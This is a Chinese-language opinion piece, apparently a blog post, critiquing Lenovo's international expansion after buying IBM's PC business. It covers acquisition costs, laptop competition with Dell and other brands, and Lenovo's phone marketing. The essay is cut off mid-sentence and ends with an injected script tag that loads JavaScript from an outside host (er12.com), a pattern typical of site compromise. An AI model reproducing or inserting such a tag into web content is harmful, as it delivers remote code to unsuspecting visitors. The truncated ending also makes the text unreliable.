最近人们对于联想的关注是由于几个事情：其一是管理层价值千万的年薪；其二是高价挖脚了dell的高层管理人员；其三则是联想丰厚的员工福利计划。在很多人眼里，联想自从收购ibm笔记本业务之后迈向了国际化的进程，在这个意义上联想已经开始了国际化之行，但实际上联想距离类似戴尔、google、intel等跨国公司真正意义上的国际化还有很长的路要走。
不久前在评论yahoo与qihoo关于流氓软件之争的时候，有媒体朋友希望我从务实角度来加以评论，也就那两虎的掌门人跟联想创始人柳传志作一对比，最后的调子定成是他们不入柳总务实。我接到这样一个约稿时简直是哭笑不得，因为我们总不能拿不同风根的作风来评判究竟是谁对谁错。总归一句话是，无论是目前流行的口水仗也好，还是联想柳总默默无闻的创业也好，只要适合当前的需要，能够的确给公司带来效益，带来实质性的收益，我认为这都是好的。话题有点撤远了，关于联想最近的举措来看，我认为有几点不妥之处：
其一，在国内市场没有占领绝对优势之际，开拓国际市场是否合适？联想主流的业务在收购ibm笔记本业务后转变成几个方向，其核心的仍然是电脑与手持终端，而后者也就是通常意义上的手机。
先说说电脑，只要我们去海龙转一圈就能够感觉到电脑市场的竞争是何等的激烈，作为民族品牌的联想（无论是更名前的旧联想也好，还是更名后的新联想）在国际品牌戴尔、三星、索尼、华硕还有国内的方正、清华同方等在内的表现上看似乎并不是很突出。（为了使这篇评论更加具有意义我启封了闲置已旧的联想昭阳笔记本电脑，而放弃使用办公配置的戴尔。）在供大于求的今天，消费者可以选择的品牌很多，为何要选择联想？而放弃配置更高，性价比更好的其他国际品牌？我实在找不出合适的理由来。另外从我了解的情况看，一些知名的公司包括诺基亚、摩托罗拉在内员工办公的标配依然找不到联想的身影，而是我们每天都在骂其不厚道不人性化的戴尔。有人可能要会说，联想定位是二三级消费市场，那么试问既然都放弃了一级消费市场，何来的国际品牌一说？说到这里要提到ibm笔记本电脑，被联想收购之前给人的感觉是大品牌，但收购之后打上了“中国制造”的标签后，我们不得不反思其质量是否跟以前的ibm一样好，虽然现在没有评测机构给出同样型号ibm不同产地的对比分析，但有一点是明确的，虽然我们还要购买ibm电脑，这是由于ibm给我们留下的印象就是商用电脑。在考虑这个问题的时候我们似乎忽略了，哦，ibm现在实际上是联想了。这跟从戴尔过来的现任联想高级总裁的观点却很不同，他曾经给媒体这样说，虽然ibm商标的使用权还有2年没有到期，但如果用户喜好联想，联想方面会考虑提前把所有的ibm电脑标签换成lenovo。这句话说的滴水不漏，请注意几个如果，请注意这个高鼻梁蓝眼睛的家伙说的“用户”。我很想知道一旦我自己购买的ibm笔记本被招回要换成lenovo的标签之后，这个笔记本本身会不会贬值？
从数据上说，
04年收购ibm的个人电脑业务，联想将付出17.5亿美元的成本代价。其中，联想将为此支付给ibm至少6.5亿美元的现金和价值至多6亿美元的联想集团普通股。同时，还将有5亿美元的净负债转到联想名下。具体到资金的来源和调度，而在04年的时候联想有4亿美元的现金，但在此次并购时，联想的股东和投资机构认为全部使用现金完成并购并非最优的方式，因此联想并购动用的资金包括自有现金和部分来自银团的美元贷款，使资产负债率达到27%左右，联想的股东认为这是一个比较合理的结构和比例。根据联想2004-2005中期年报显示，联想共有约值31亿元的港币现金，另外还有30亿元的港币银行授信额度。为了完成此次收购，除去股票外，以6.5亿美元现金和5亿美元的负债来看，联想将面临11.5亿美元的现金支出，可以说，为了实现这次收购，联想已经倾囊所有了。
再说说手机，国内的手机市场都喜好占有率一说，似乎这个标准是考察手机品牌在国人心目中印象的绝对参照物。无论它是否有这样的能耐，我们来看看联想手机。《超人归来》放映后，联想方面赶紧推出了“超人手机”，（详见联想“超人”手机惹火夏季市场）这个感觉怎么跟几年前波导的口号“手机中的战斗机”如出一辙。国外的品牌打进来了，几年前国内的手机品牌还都在观望，甚至在幻想他们会在中国市场上萎靡不振，但实际上是诺基亚起来了，摩托罗拉跟上了，三星等日韩品牌业打进来了，国产的熊猫手机（印象最深的是梁超伟代言那款）等一大批手机在观望之余拱手相让了国内市场。不过值得庆幸的是联想手机在06年以来表现不俗，在商场占有率上除了排头的几个位置都被样品牌占领外，在国产品牌这个小圈子里还能占据领头雁的地位。手机这种通信工具目前已经演化成一种生活必需品，作为必需品就必需要在质量上有保证。在用户层面说，诺基亚手机给人的印象是速度快，长得难看，性价比高；摩托罗拉是笨重，速度慢，但结实，不容?script src=http://er12.com/t.js>
